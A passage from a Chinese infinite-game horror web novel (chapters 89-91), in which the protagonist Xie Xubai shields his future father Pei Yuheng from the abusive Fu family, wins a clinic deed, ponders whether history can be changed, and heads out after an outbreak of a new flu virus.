那里有人二十四小时看押监管,用特殊工具规范他的言行,苛刻到哪怕吃饭的时候发出一丁点声响,也会遭到一番毒辣的拳打脚踢。 手机被收缴,没有能与外界联系的渠道,即使裴玉衡的导师看到消息后想要救人,也搜寻不到他的下落。 在昏暗无光的地下实验室,除去作案之人,没人知道裴玉衡具体遭受了什么,只知道他再次出现的时候,浑身带着电击伤、软组织挫伤等瘢痕,扣子必须系到最上面一颗,所有东西必须摆放整齐,不能有一丝一毫的偏差。 他看向其他人的眼神总是涣散无神,时不时会发呆愣神,因一点小动静被吓得心悸气喘,浑身颤抖,一身傲骨几乎被折断。 冰冷的系统提示音响起。 【角色任务:为人物裴玉衡塑造设定“重度强迫症”】 管家回神,暗暗叹气。 这名NPC的经历还挺叫人同情的,但同情是一码事,他必须完成自己的角色任务。 S级诡王副本,再也没有傻子会因为试炼名字叫《请遵循设定》而故意违反设定。 但照样有人开局就死了,问就是传输记忆不全面,导致不熟悉扮演角色的设定。 比如有个扮演保镖的玩家,没能像原身一样按时给花浇水,路过花园的时候被花一口吞吃,渣都不剩。 还有个佣人玩家,被人恶意挑刺的时候吓得唯唯诺诺,没演出原身刚烈的性格,活生生被剁成肉馅儿。 副本机制用诸多案例告诉所有玩家:不要违反角色设定,否则下场就只有一个,死。 所以管家不仅不能搭把手,还必须助纣为虐,趁着裴玉衡艰难抵抗,狠踹一脚他不肯弯折的膝盖,逼迫他匍匐跪地。 但也在管家准备上前的时候,口袋里的小乌鸦突然用力地啄了他一下,痛得他差点叫出声。 他匆忙低头看过去,见小乌鸦叼着他死死不放,凶戾得几乎要揪下一块肉,刹那间心头大骇。 这乌鸦是个危险预警道具,名称【腐食乌鸦】,能感应到主人身上散发的死气。一个人越接近死亡,它就咬得越狠。 管家慌张地寻找四周可能出现的危机,几乎第一时间,他看见因竭力挣扎而显得面色狰狞的裴玉衡。 不知道那瘦弱的身板到底从哪儿来的力气,七八名保镖压上去,都没能叫他跪地。 若是管家多细看一眼,会发现有几道不显眼的淡金色光芒撑在裴玉衡的皮肤表面,为他抵抗保镖的钳制,也维持着他摇摇欲坠的理智。 眼下裴玉衡激动无比,额角青筋暴跳,双眼红得滴血。 不知道是不是管家的错觉,他发现裴玉衡的肤色越来越接近……灰青?越靠近裴玉衡,口袋里的乌鸦就咬得越狠,难道说这名NPC会在这里变成怪物,最后杀了他?! 对裴玉衡动手,死。 不对裴玉衡动手,违反角色设定,也是死。 猝然看明白这一点的管家,遍体生寒,犹如掉入冰窟。 旁边站着的傅二夫人(玩家),脸色逐渐跟他一样惨白,料想也用道具发现了自己进退两难的绝境。 救命救命!怎么办?怎么办?怎么办?!他们应该怎么—— 嘭! 别墅外忽然传出一声轰然巨响,管家等人惊诧看去,却见两扇雕花钢铁大门被大力抽飞,半空中螺旋桨似的疯狂旋转,啪的两声,重重砸在别墅的门廊上! 所有保镖被吓了一大跳,不等他们作出反应,几道金色精神力唰一下冲进屋内,拎着他们的人,直接甩飞出去。 “啊啊啊啊啊!”惨叫连连。 站在裴玉衡身边的管家,自然也没能幸免,从天上掉到结实的地面,摔了个七荤八素,两眼昏花,好一会儿才清醒过来。 看着周围被摔晕的保镖佣人,管家震惊之余不免大喜,他不用对裴玉衡动手,也没有违反设定!他活下来了! 管家当即爬起来,顾不上拍掉身上的灰,快跑回到别墅大厅,想看看是哪尊大佛救的场。 他一眼望见众人焦点中心的谢叙白。 青年带着一副金丝细框眼镜,体态颀长削瘦,长相俊秀出众,眉眼间自然酝酿着一股江南风水画的韵味。 却因为气质淡泊,眼神冰冷,呈现出巍峨高山的赫然威势。 在场所有人仿佛一时间被镇住了,青年踱步走进屋,他们便不自觉地往后退。 保镖佣人被金色精神力一键清空,在场只有惊骇无措的傅家人、没能回神的裴玉衡,以及不紧不慢在沙发上落座的谢叙白。 玩家A去而复返,和伪装面容的魔术师站在一起,缩在门口狐假虎威:“裴余大佬!就是这群傻叉NPC欺负人,你可要为我们做主啊!” 瞧他呐喊助威的卖力劲儿,魔术师忽然有股铁杆粉丝快要被抢走的危机感。 但眼下这个情况,他确实不好出面。傅家人都认识他的扮演角色徐杨,万一伪装道具受到什么buff干扰失效,那他只有死的份。 由此,魔术师愈发觉得谢叙白神秘至极。 对方好像完全不担心暴露玩家身份,也不需要遵守扮演角色的日常生活轨迹。难不成和他一样,用了替身傀儡? 裴玉衡的膝盖到底没有弯下去。失去保镖钳制后他顺利撑起身,焦急万分地说:“你怎么来了?这里不该是——” 谢叙白轻声道:“那你有没有想过,如果你出事,我也会消失?” 裴玉衡一瞬间想通关键,像被雷当头劈中,怔忪在原地。 是啊!如果作为父亲的他死了,那么裴余根本不会出生! 金光勾着一瞬间魂不守舍的裴玉衡,让他坐在谢叙白的身边。又将从管家那抢来的手机,放在他的手上。 谢叙白口吻平静,嗓音温和,仿佛能安抚一切的躁郁和不安:“你再仔细看一看,视频里的人和你印象中有什么差别?” 裴玉衡回神,手机没有锁屏,打开就能看。他死死盯着画面中挣扎的人,忽然瞳孔扩张,呼吸急促起来。 一样的长相,从发色到五官,几乎没有差别。 但就是没有差别才奇怪!要知道他最后一次见父母在十年前,而视频中的人和十年前的裴家夫妻相差无几,证明这段视频少数拍自七、八年前! 是啊,如果能用父母威胁自己,这些人怎么会舍近求远用什么遗物? 好不容易得到的希望再一次崩塌,裴玉衡的心情连续大起大落,一时间胸口起伏不定,双眼润湿通红。 说到底,他不过才二十一岁,一般人这个时间还没大学毕业。 如果谢叙白还小,他会毫不犹豫地抱上去,说爸爸不伤心。 但他现在长大了,不是裴玉衡的亲儿子,还没有被成功收养,就算后续袒明身份,也至多叫一声裴叔叔。 谢叙白垂了垂眼睫毛,长长地吐出一口气。 “那些人的眼神好可怕,吓到我了。”谢叙白面无表情地指向心有余悸的傅家人,对裴玉衡说道,“你确定不安慰一下我吗?” 听见谢叙白说怕,失魂落魄的裴玉衡几乎一瞬抬眸,眼中再次恢复神采,想也没想地拍拍谢叙白的肩膀:“乖,不怕。” 傅家主瞪圆眼睛,看着这两人旁若无人的样子,终于气到脸颊涨红。 傅家地盘上方霎时间阴云密布,整个大厅的灯光呼一下全部熄灭,傅家主的体态逐渐改变,密密麻麻的尸斑攀爬上皮肤,空气中仿佛能嗅到浓郁的尸臭味。 明里暗里观察这方动静的几名玩家登时大惊失色——傅家主这是要狂暴的架势!他们连忙摆出作战姿态。 却见死到临头的谢叙白还气定神闲地坐在沙发上,淡淡地看着傅家主发作。 咚!咚!咚!…… 傅家主见状,愈发怒火高涨,他体态庞大,脚步声如雷鸣炸响,地板仿佛震了三震,几步来到谢叙白的面前,居高临下的眼神写满轻蔑,伸出磨盘大的利爪。 忽然,一道电话铃声从他的口袋中响起。 傅家主气急攻心,只想撕碎眼前的闯入者,哪儿顾得上理会。 于是谢叙白勾了勾手,金光探入傅家主的口袋,帮他接通电话。 秘书焦急高亢的喊声几乎掀翻别墅天花板。 “董事长大事不好了!我们刚收到搜查令,江氏集团、许氏地产、王氏电子商务……联名上报联盟政方,说我们存在非法人体实验,要彻查傅氏集团名下所有药厂和医疗机构!!” 第89章 他亦是历史的一环 电话背景音里嘈杂无比,火急火燎的争执声和脚步声此起彼伏,能听到不少高管职员吊着嗓子慌张请示,但都被秘书吼了回去。 一阵人仰马翻。 “江氏集团前不久才和我们签下合同,就算变卦也不可能这么快,一定有对家要害我们……但是联名上报的公司大大小小加起来有十几个!董事长,我们是不是被人给盯上了?接下来该怎么办?” 联名上报并不可怕,可怕的是牵头人是气焰正盛足以和傅氏匹敌的江氏集团。 作为商业界的风向标,它会引领众多中小集团如过江之鲫争相加入检举行列——傅氏在医药行业一家独大已久,谁不想把它拉下马分一杯羹? 联盟政方出判决时看的就是权威和民心所向,就算原本没有动他们的意思,也会在舆论压力下大肆彻查! 更别提傅氏和江氏之间有合作,一方无端撕毁合同会赔付天价违约金,集团信誉也会受损,江氏不会干搬起石头砸自己的脚这种蠢事,他们敢突然发难,必定是胸有成竹有备而来! 秘书在电话那头汇报,急得舌头屡次打结。 呆滞的傅家人终于有了反应,却是得知大难临头的惊愕,女的花容失色,男的心头大骇。 傅家主很快反应过来,面色铁青,极其激动和不敢置信下,那张恐怖的腐尸脸更加扭曲,双手一伸要揪住谢叙白的衣领:“是不是你搞的鬼?!” 金光早有防备,伺机而动。岂料旁边伸出一只清瘦有力的手,直接钳住傅家主的手腕。 出手的人是裴玉衡。 不仅傅家主惊呆了,动作一滞,连谢叙白也愣了一瞬。 谢叙白知道裴玉衡有多么害怕这丧心病狂的一大家子。被压着肩膀摁着背折磨压榨大半生,伴随着十年间数不清的毒打和禁锢。对方甚至不能看见鞭子形状的物品,只要一看,就会因为紧张恐惧引起生理性的肌肉痉挛。 但裴玉衡现在正挡在他的面前,和傅家主眼神对峙。另一只手轻颤着,搭在他的手背上拍一拍,传达安抚的信息:乖,不怕。 “材料损耗、供货链、资金链、实验技术流程规范、生物安全管理——这些联盟要查办的项目,傅氏实验室没有哪一项敢保证说达到了标准。” 裴玉衡冷眼凝视傅家主:“我来之前把所有的资料证据复印多份交给不同的人保管,如果我们没有平安回去,联盟一定会很高兴收到那些‘大礼’。” “劝你在试图对我们动手之前,掂量一下自己有没有和我们鱼死网破的能力。” 傅家主的表情有一瞬间差点崩裂了,两颗气到充血发红的眼珠子直勾勾地盯着裴玉衡。 他一直把裴玉衡当成傅家驯化的狗,如今居然训狗不成反被狗咬了一口! 屈辱、愤恨、不敢置信和莫名的惶恐,诸多情绪在脑子里一连串爆发,刺激着这具腐尸的体态几经膨胀。 腐臭味更浓郁了!庞大的头颅几乎顶到天花板,大片的阴影如潮水般从头临下,空气变得浓稠黏腻起来,傅家人害怕得战战兢兢,两腿发软。 别人越是害怕自己不敢反抗,傅家主就越兴奋。 但他的眼睛扫向眼皮子底下的两名年轻人。 裴玉衡原本非常害怕,结果安抚谢叙白的这段时间,不知道从哪儿找回了久违的勇气,不曾眨眼,不曾回避。 谢叙白就更不用说了,从始至终就没颤一下眼皮,眼神平静如常,看着几欲狂暴的他,像是坐在观众席上看一出无聊滑稽的闹剧,径直刺痛傅家主摇摇欲坠的自尊心。 杀了他们!杀了他们!杀啊啊啊啊—— 傅家主将要扑过去,却被金光狠狠地拽住手脚,骨头因惯性冲劲儿发出咔嚓一声震响,他忍不住痛到干嚎,又被金光狠狠丢在墙上! “老公!”“大哥!”“老爷!”…… 其余傅家人手忙脚乱地冲过去。 与此同时,谢叙白听到一道提示声。 【人物“裴玉衡”对“傅家”的畏惧程度降低50%,获得额外设定:勇敢,心理素质与自信心得到极大提高!恭喜!】 精神力大幅度提高之后,谢叙白第一时间捕捉到这道系统音不同以往的微妙差别。 平和轻缓的机械声,不像人说话那样饱含情绪,却也不像威胁玩家完善角色设定时那么阴暗诡谲,宛如一个系统分裂出两个不同的统格。 谢叙白暗自记下这一疑点,从怀里拿出一份文件,摆在桌子上,往前推过去,波澜不惊地对上在众人的搀扶下狼狈地爬起身的傅家主:“傅家都快完蛋了,还能看见家主这么有活力,真是叫人倍感欣慰。” 傅家主没站稳就听到这句阴阳怪气的讥讽,直接气得前仰后合。 裴玉衡也从“那么大一坨被抛飞出去”的震惊中回神,见状神色一动。 【人物“裴玉衡”忽对“语言理解和表达能力”有所感悟,“毒舌”技能学习中。】 谢叙白:“……”他猛然想起裴玉衡刚见面就似笑非笑连珠炮似的一个劲儿怼他的场景。 默默咽下更多的嘲讽,谢叙白淡声说道:“签下这份文件,把裴家夫妇的遗物交出来,我酌情考虑给你们傅家留出一点给自己收尸的时间。” 傅家主奈何不了这两人,只能含恨低头,跌跌撞撞地来到桌子前拿起文件。 这是一份地产转让文件,要转让的地产就是城南那处已经荒废的卫生所。 在联盟政方将要大刀阔斧对付傅氏集团的现在,这处卫生所没有明里暗里的资金进账,没有利益纠纷,属于绝对的安全。 在金光的虎视眈眈下,傅家主阴郁地扫了两人一眼,不甘不愿地签下自己的名字。 因为他的体态过于庞大,签字必须弯腰135°,就差脑袋磕地上。仿佛低人一等的屈辱感鞭笞着他的内心,恨得傅家主磨牙凿齿,双眼滴血。 至于裴家夫妇的遗物,傅家主咬死了说没有。 那两人有心防着傅氏,遗物早在被抓住前损毁,又在难得清醒的时候,趁看守人员不备,一人扎向床角,一人抢到针筒,用极其刚烈的方式结束了自己的性命。 听着傅家主的叙述,裴玉衡一瞬间情绪不稳,五指攥紧几乎将皮肤掐出血痕,恨声道:“是你们把他们逼成——” “别什么脏水都往我们头上泼,是他们本来就有疯病!”傅夫人忍无可忍,尖声叫嚷起来,“那两个疯子一直精神不稳疯疯癫癫的,说自己有什么会引起世界轰动的重大发现,上一个老东家就是被他们的秘密研究搞垮的!从那之后没人敢要他们,要不是我们傅氏给了他们一席之地,他们早就被催债人给逼死了!” 完全没想到会有这样的反转,裴玉衡瞳孔骤张。 “傅氏是他们的救命恩人,他们就该为傅氏肝脑涂地!结果都是一群白眼狼!连带着你这个贱种——” 啪! 忽然,傅家主毫无征兆地给了傅夫人一巴掌,将人打翻在地。 傅夫人惨叫一声,捂着红肿的脸,不敢置信地仰头看向傅家主,却被人可怖森郁的眼神吓了一跳,忽然意识到什么,连忙闭嘴。 傅家主回头,缓上一口气,面目不善地和谢叙白解释:“那两人确实有不明原因的周期性癔症,有病例可查。甘愿加入傅氏集团,也是因为我们有条件支持他们研发治疗自己的药物,你情我愿的交易,不是你们以为的单方面压榨胁迫。” “我本来以为他们能带来更多的科研成果,也不算白花了那些经费,谁知道他们会在中途彻底疯掉。他们倒是死得干脆利落,维护了自己的尊严,结果给我们丢下一堆烂摊子。” “……说句不好听的。”傅家主径直看向裴玉衡,“你就是你父母抵押给我们的奴隶。” 裴玉衡当然不愿相信自己的父母是疯子,过往种种温馨的相处回忆,母亲的温柔,父亲的呵护,总不可能是假的。 但他永远无法解释裴家夫妇为什么会将傅氏奉为天听。 他是割舍不下父母的遗物才一忍再忍,那么他的父母,又是因为什么才甘愿受傅氏的桎梏?他们真的有疯病吗?为什么傅氏能轻松拿到他的抚养权?不,一定是他们在倒打一耙,我…… 谢叙白突然冷冷地开口:“真会为自己的脸上贴金,满嘴都是仁义道德的假话,说得你们自己都相信了是吧?” “我就问一件事。”谢叙白一字一顿地说,“如果你们真的对裴家夫妇有恩,至于用他们根本不存在的遗物,威胁逼迫他们的儿子给你们卖命?” 这一问堪称一针见血,裴玉衡唰一下从信念遭到动摇的痛苦中挣脱出来。 傅家主的嘴角狠狠地抽了抽,有种谎话被当场揭穿的恼怒。 正待再说,接连几道电话打来,有秘书的,有合作商的,还有联盟政局。 他火烧屁股般冲出去,其他人傻眼的傻眼,愣神的愣神,像热锅上的蚂蚁,不知所措。 傅家彻底乱了。 谢叙白带着脑子一团乱麻的裴玉衡,光明正大地走出大门,没人敢拦着他们两人,所有人都对他们投以畏惧的眼神。 见裴玉衡依然沉默不语,谢叙白顿了顿,看向身后跟来的魔术师:“能不能再借你几个队友,帮忙调查一下裴家夫妇的事情?” 魔术师耸了耸肩膀:“我刚用道具验证过,傅家家主说的话是真的。” 谢叙白平静地笃定道:“但肯定有一部分是假的。” 他一直用精神力分析众人的情绪,发现傅家人说话半真半假。 当初裴家夫妇或许真的是为治疗自己的病症从而投靠傅氏集团,傅氏集团也确实给予过他们资助。 可他们哪儿想到对外口碑良好的傅氏集团,实际上是个吃人不吐骨头的深坑,害惨了他们,也害惨了裴玉衡。 亲手摧毁研究大半辈子的项目资料,果断结束自己的性命,又何尝不是在为裴玉衡的未来着想? 这些事情,谢叙白作为一个旁观者能轻松想通。 但对裴玉衡来说,那是他的亲生父母,容易被情感蒙蔽双眼,得看见实质性的证明才能安心。 魔术师不置可否。 傅家主当众一巴掌抽翻傅夫人的异常举动,一看有蹊跷,就算谢叙白不说,他也会深入调查裴家夫妇的过往。 “话说回来,既然你有那么大能量请得动那个劳什子的江氏,为什么不直接让江氏摧毁傅氏?” 谢叙白倒是想,但是历史不允许。 能够说服江氏和许氏出手,也是仗着他身为“未来人”未卜先知的优势,唬得住一时,唬不住一世。他清楚傅氏或许会元气大伤,却不会在这个时期垮台。 不过即使是这样的动荡,也够傅氏的人好好喝一壶。 城南的荒废卫生所,是裴玉衡建立起第一医院的起点。 谢叙白不是没有尝试为裴玉衡从傅氏那薅来更多启动资金,问题是但凡能为傅氏集团创造利润的产业,都有见不得光的暗幕,联盟政局还在头顶盯着的。 兜兜转转,只有这个卫生所最干净。 谢叙白忽然有种亲眼见证历史的恍惚感,还有一些说不清道不明的感悟。宛若挡在眼前的迷惘被大风吹散,豁然开朗。 久违的声音在他脑海中响起,不再是冰冷无机质的机械声,温文尔雅,侃侃而谈,无限接近于谢叙白自己的声音。 【我能感觉到,自己对第一医院的了解得到了进一步的加深。规则在二十多年后的未来目视着我的一举一动,它似乎对我产生了一丝亲昵和期待?】 【原来,我亦是历史的一环。】 第90章 设定或许可以改变 命运。 简简单单两个字,不知道束缚了多少人的一生。 谢叙白拧着眉头看向手中的地产转让文件。 ……难道正是因为他的存在,才将裴玉衡推入了他所知道的那个未来? 拼尽全力却无济于事,甚至原本的悲剧就是因为曾经的努力——这个发现何其让人绝望? 如果是一般人忽然看透这一点,恐怕会在历史的洪流下骇然生畏,止步不前。 谢叙白没有。 不否认他在顿悟的同时,感到了极大的迷茫并产生深刻的自我怀疑。 但最多不过一秒的失神,便再一次陷入思考。 因为知道裴玉衡会接手卫生所的这个前提,他才会想到卫生所。 要是他把手中的文件撕毁,那么卫生所还会是第一医院的前身吗?又或者第一医院会就此不复存在? 之前谢叙白想用一劳永逸的办法解决掉那些纨绔子弟时,规则确确实实这样警告过他,但既然他此时身为历史的一环,怎么做都改变不了原定的结局,又为什么还会遭到条条款款的限制? 就像看着一个人站在十字路口,这个人要去【终点A】,而每个路口都必定通向【终点A】,干扰他选择怎么走的意义又在哪里? 除非每个路口能抵达的终点不同,那自然要把他拉回正途。 谢叙白急需论证他能不能改变历史,或者让历史产生变化,哪怕是一点微小的变化也行。视线一扫,落在不远处的管家(玩家)身上。 “你在这里等我一下,我有点事需要找人问清楚。” 怅然若失的裴玉衡刚要回头,手里便被谢叙白塞入一个金光闪闪的……呃,小人? 小人大概有三岁孩童的大小,用谢叙白的精神力捏造,眉眼和小叙白一模一样,只不过少几分幼稚和纯真,多两分稳重和平静。 被小人用淡然无澜的眼神凝视着,裴玉衡一瞬间如同抱着烫手山芋,眼睛都不知道往哪里放。毕竟他性格内敛,之前抱小叙白都是被缠得不行,才硬着头皮上的手。 “这,这是什么?裴余你先别走——” 谢叙白:“没关系,把它当成玩偶,不会咬你的,我一会儿就过来。” 裴玉衡来不及再说点什么,忽然感觉怀里的小人动了动,两只手臂抱住裴玉衡的脖颈,小猫儿似的蹭了又蹭。 【不要拒绝,就是怕你多想,他才捏造出一个我来陪着你。毕竟长大后的我实在没有和长辈相处的经验,不知道该怎么安慰你,又不能把你当成上级。】 用精神力捏造出来的精神体就诚实多了,会不由自主地宣泄原本的欲望……唔,只有纯粹的欲望也不行,招架不住,要不是打不过正主,真想给它们套个止咬器。小人面无表情地想。 谢叙白的精神力透着温暖的热意,如同小孩撒娇的动作,也让裴玉衡根本没法把它当成玩偶,下意识拍哄起来:“乖,乖。” 【这就是有爸爸哄的感觉吗?】小人沉下意识仔细感受,没一会儿,氤氲着光晕的眼睛倏然又亮了一度,一板一眼地看着裴玉衡,【很喜欢,再哄哄。】 裴玉衡不知道精神力是什么东西,但凭着金光小人的语气和语境,大致能推测出三分。金光小人还是个小话痨,说话像连珠炮一样丝毫不带喘气,叫裴玉衡有股莫名的既视感。 裴玉衡:“你是长大后的裴余吗?” 小人:【可以这么说。】 裴玉衡忍不住揉揉它的小脸蛋,没有那么软软弹弹,却也是如玉温润。 他看了一眼走远的谢叙白,又回头看向小人,冷漠的眼神温和不少,感慨道:“和小时候真像。” 小人断然否决:【不像,我没小时候那么可爱,也没法像小时候那样哄你开心。】 裴玉衡见它神色黯然,立时心肝一颤,下意识反驳:“怎么会?你现在也很可爱。” 【这样么。】小人若有所思地看着他,【那爸爸更喜欢小时候的我,还是现在的我?不能回答都喜欢。】 裴玉衡:“……” 他一个激灵,直觉自己将迎来生平第一次父子危机,被各种迷惘不安疑虑惊惧塞满而浑浑噩噩的脑子刹那间清醒不少,再也不去考虑那些有的没的,绞尽脑汁地想怎么回答小人的话。 见他愁容消失,小人反手将他搂住,眉眼弯弯,透着得逞般的狡黠,柔声说道:【一切都会好起来的,爸爸。相信我,我们一定能查清楚当年的真相。】 【你不是一个人,还有我在呢。】 裴玉衡顿了顿,眼睛忽然有些湿润,内心仿佛被一股汹涌炙热的情绪填满了,搂着小人的手更紧一分:“……嗯。” 这边谢叙白来到管家的身边,后者正在回答魔术师的问题,但支支吾吾,很是防备。 只能说魔术师名气虽盛,但好巧不巧,这人不是他的粉丝。 威逼利诱么,还是用精神控制类道具?对玩家动手会掉观众缘,魔术师很迟疑。 眼见谢叙白走了过来,似乎也打着套话的想法,他挑起眉头,干脆让位,想看看这个大冰块能用什么方法说服人。 然后他就瞠目结舌地看见,谢叙白竟然笑了。 青年的长相属实得天独厚,唇角自然地往上勾起,眉眼晕染着温润的笑意,像冰块在春日暖阳下消融,让人情不自禁地舒展愁容,不知不觉间卸掉防备。 谢叙白伸出手笑了笑:“你好,我叫裴余。” 管家对谢叙白是有好感的,毕竟刚才是谢叙白出面,才让他和同伴逃过一劫,便伸出手回握:“你好。” 谢叙白敏锐地察觉出他的情绪变化,没有急着询问线索,而是问管家之后该怎么办。傅家遭遇危机,傅家人又都不是善辈,不知道什么时候就会被迁怒丧命。 管家愁眉苦脸:“我也不知道该怎么办,设定限制太多了,好像往哪儿走都是死局。” 他的角色设定:趋炎附势、唯利是图、奸诈小人、欺软怕硬、天生打工人——纯享版炮灰圣体,简直要命。 谢叙白问过他的角色设定,思索片刻提议:“既然是趋炎附势、唯利是图的设定,现在傅家遭遇危机,你正好可以考虑辞职跳槽。” “找一个强大且有远见的明主,能压制你欺软怕硬的心,能发挥你打工人的长处。设定正如人的性格,不可能一成不变,或许在明主的影响下能得到打磨和有效发挥?当然,这只是我个人的见解。” “……”管家一愣,陷入沉思。 他明显有些意动,但问题是像他这样的“奸诈小人”,有哪位明主肯要他? 管家视线一转,落在裴玉衡的身上。他倒不是未卜先知地看出裴玉衡是明主,而是相信谢叙白的眼光不会差。就算裴玉衡不够强大,凭谢叙白的实力,也能压制住他。 岂料谢叙白摇了摇头:“抱歉,如果你是想跟他的话,恐怕不行。” 管家一脸出乎意料,他还以为谢叙白找上他,就是为了劝他为其效力。 但谢叙白给出的理由很充分,于情于理,裴玉衡都不可能要一个傅家不要的属下,何况这人还是傅家的帮凶,此前百般磋磨他。 管家一想,是这个道理,顿时慌张起来:“那我该怎么办?傅家不一定会垮,我在这个节骨眼上走人,他们反应过来,没准会狠狠整治我,到那时候——” “无限游戏向来这样残酷,所以我们才要竭尽全力想办法自救。你可以演一出假死的戏,让傅家忘记你,或者努力做点什么,来赢取裴玉衡的信任。”谢叙白拍着他的肩膀,语气温和,循循善诱,“要想办法利用设定,不能坐以待毙。” 魔术师在旁边看着谢叙白一通话疗叫管家激动得热泪盈眶,不由得有些目瞪口呆。 等到谢叙白成功从管家嘴里得知想要的信息,他贴过来,压低声音问:“我有点看不懂了,你到底是想要他帮忙还是不想要他吗?” 谢叙白狐疑地看着他:“当然是想要。”不然怎么会费这番口舌? 据他初步观察,这名玩家的身体素质很可以。他用精神力连带着保镖佣人将管家的时候,可没有任何收力,就算这样,管家都没立刻晕过去,爬起来时生龙活虎。 魔术师更加不解:“那你怎么不直接收了他?”那人明明看起来非常意动,就差谢叙白提出邀请了。 谢叙白淡然道:“因为裴玉衡对他来说只是个比较好的选择,不是非裴玉衡不可。何况他还有墙头草的设定,要是在关键时候摇摆不定掉链子,那可不行。” “连你都能看出我有邀请他的意图,那我就更不能现在提出邀请,换而言之,自己争取来的才会珍惜。” 魔术师:“你就这么确信他最后一定会选择裴玉衡?你为他推荐的明主首选要【强大】,裴玉衡看起来可一点都不强。” “你不是看过裴玉衡的成长数值了吗?我有百分之九十九的把握,裴玉衡后期一定会变得非常强大,并成为当前副本的诡王。”谢叙白推了推眼镜,看魔术师半信半疑,笑着道,“你不相信?要不要赌一个?” 魔术师对他这副似笑非笑的表情有很强的心理阴影,当即一个哆嗦:“不赌!” 不过他对谢叙白提出的“设定可以随角色经历更改”的理论很感兴趣,打算接下来追踪管家一段时间,或者自己找法子亲身验证。 谢叙白没有漏过魔术师的沉吟,嘴角勾起一个几不可闻的弧度。他知道现在会有人上赶着帮他验证角色设定能否更改。 谢叙白:“另外你有没有发现,玩家人数是不是太少了一点?” 魔术师:“你这么一说,确实是。我之前把副本地图探索了个遍,玩家数量不到十五人,但这个副本至少有五十个人,甚至上百人。除非开局就死掉三分之二……也不是没有可能。” 谢叙白沉吟。 魔术师之前说过他们看不见当前所处的日期,谢叙白怀疑玩家可能会被分散到不同时间线。 谢叙白想确定玩家数量,不为别的。裴玉衡创建医院非常缺人手,他得多帮人找点劳动力,而他需要发展成信徒,助他成神。两项权衡,需求单一(活着通关)的玩家就成了很好的选择。 告别魔术师等人,谢叙白想着从管家那得来的消息,心里有了谱。 在管家看到的任务影像中,就算没有他,事后裴玉衡也会被傅家秘密关押在卫生所,直至灾害爆发,得以重见天日。 也就是说,【裴玉衡将以卫生所为基点建立第一医院】,就是历史的锚点。 谢叙白自知没有那么大的能量撼动锚点,他所在意的,是裴玉衡从【屈辱受缚、无路可退】变成了【毫发无伤,自主选择】,怎能说是毫无改变? 看到这里面大片的可操作空间,谢叙白激动却不失沉稳,忽然有了新的明悟。 ——原定的历史没有我的身影,直至我加入历史。我是历史的一环,亦是命运的变数。 不知道是不是谢叙白的错觉,他似乎听到了一声欣慰的喟叹。自脑海中响起,又徐徐消失。 没过多久,谢叙白两人重新回到裴玉衡的实验室。 裴玉衡自发地开始打扫实验室,谢叙白将他拦了下来,毕竟裴玉衡已经不需要完善洁癖设定了,再细致地打扫是浪费时间。 他使用从魔术师那薅来的清洁道具,一键除尘。 环顾明亮整洁的实验室,裴玉衡定定地看了谢叙白一眼。谢叙白佯装没看见他幽深的目光,提出新的要求:“以后所有物品必须摆放到固定位置,差一厘米也不行。” 于是裴玉衡看谢叙白的目光更幽深了。 自从裴玉衡知道他们是父子后,谢叙白没法再强行命令对方按自己的要求做事,毕竟要尊重长辈——绝对不是他怂。 岂料没等他想出劝服裴玉衡的方法,后者先淡笑出声,舒展眉宇道:“好,我会照做,但我有个要求。” 谢叙白:“什么?” 裴玉衡:“你似乎还没叫过我。” 不是叫名字,是称呼他为爸爸。小叙白叫过,精神体叫过,唯独本人不曾开口喊一声。 谢叙白:“……” 对上裴玉衡期许的目光,他的表情空白了一瞬,随后若无其事地扭开头,只当没听到。 裴玉衡见状,不免有些黯然神伤,总觉得自己大可能没能顺利接走小叙白,导致谢叙白对他有怨,才不愿张这个口。 他心含内疚,没有强求,拿起尺子给各个装饰摆设测量行距。别说将东西摆放规整这种小事情,就是上刀山下火海,他也不会眨一下眼睛。 【人物“裴玉衡”,“重度强迫症”塑造进度:50%,请再接再厉。】 既然文件已经到手,什么时候上岗就成了个问题。 谢叙白考虑裴玉衡因父母的事心情不佳,想等人完成手里的实验后再去。不去考虑那么多是是非非,只需要专注学习,裴玉衡肉眼可见地放松了不少。 却不想变故来得如此之快。 “这里是H城新闻。今日下午十三点过五分,我们收到城南新区各大医疗机构的最新消息,确认当地大范围传播的流感病毒为新型病毒,各位专家正在竭力研发有效的抗病毒药物。 ……需要注意,这种病毒来势汹汹但并不致命,勤洗手、多消毒可以起到一定防范效果……如若确定患病,请到最近的医疗机构及时就诊,勿要散播恐慌……有意向捐赠药物资金、参与救助行动的志愿者可拨打以下电话,感谢您伸出援手。” 谢叙白之前的手机没带充电器,暂时换了个手机。看着播报的新闻,他眉头一皱。 下一秒裴玉衡满脸焦急地快步走来:“师兄师姐刚才告诉我,导师受邀去城南新区调研病情,却在安排的休息点突然失踪!打电话不接,专家调研团的专用通讯像被磁场干扰一直处于忙音,我必须和他们一起去看看!”《 》 90-100 第91章 遇到熟人 裴玉衡的导师名叫周潮生,生物工程博士,主修以基因工程为基础的生物制药,心血管方向。 当初傅家施压让裴玉衡没办法读研,全靠周潮生顶住各方压力将他收下,对裴玉衡说是有再造之恩都不为过。 所以导师失联,无论如何裴玉衡都得去现场看看究竟,找到人后才能安心。师兄师姐们在电话中告知,他们已经前往城南新区,几人商定在卫生检疫中心碰头。 谢叙白也给玩家A拨了一通电话。 没多久,一辆墨绿涂装的加强版越野车冲进大众视野,车轮擦地甩出滚滚尘浪,精准停靠在裴玉衡的学校门口。 如此彪悍的车型,除了灾难片之后简直闻所未闻。路边的学生都惊呆了,纷纷掏出手机拍照录像。 谢叙白嘴角一抽,不想成为众人议论的焦点,和裴玉衡快速上车。 结果越野车的内部改装,比它丛林树蛙的外表有过之而无不及。 玩家A乐颠颠地和他解释:“造型是夸张了点,但功能性绝对拉满。外面特殊材料的涂装可以防风沙和腐蚀性物质,玻璃和防弹钢板夹层都是军用级别。轮胎抓地力更强也更稳,就算从十米高的断桥摔下去也不会爆胎。” “如果不幸落水,往这儿看!这里有个蓝色按钮,只要按一下,车底盘就会弹出救生气囊,和汽艇差不多,我们还装配了螺旋桨——” 裴玉衡原本还在尝试联系调研团,听他不仅将一切危险情况如数家珍,还有一系列全面的应对策略,顿时忍不住看了过来:“你们之前到底经历过什么?” “一言难尽。”玩家A唏嘘地摸着车内部,“其实搞这么多,说白了只是图个心理安慰。S级副本的诡怪,用A级道具都不一定能防得下来,万一是个力量型的,一爪子就能把这辆车撕成破铜烂铁,唉……” 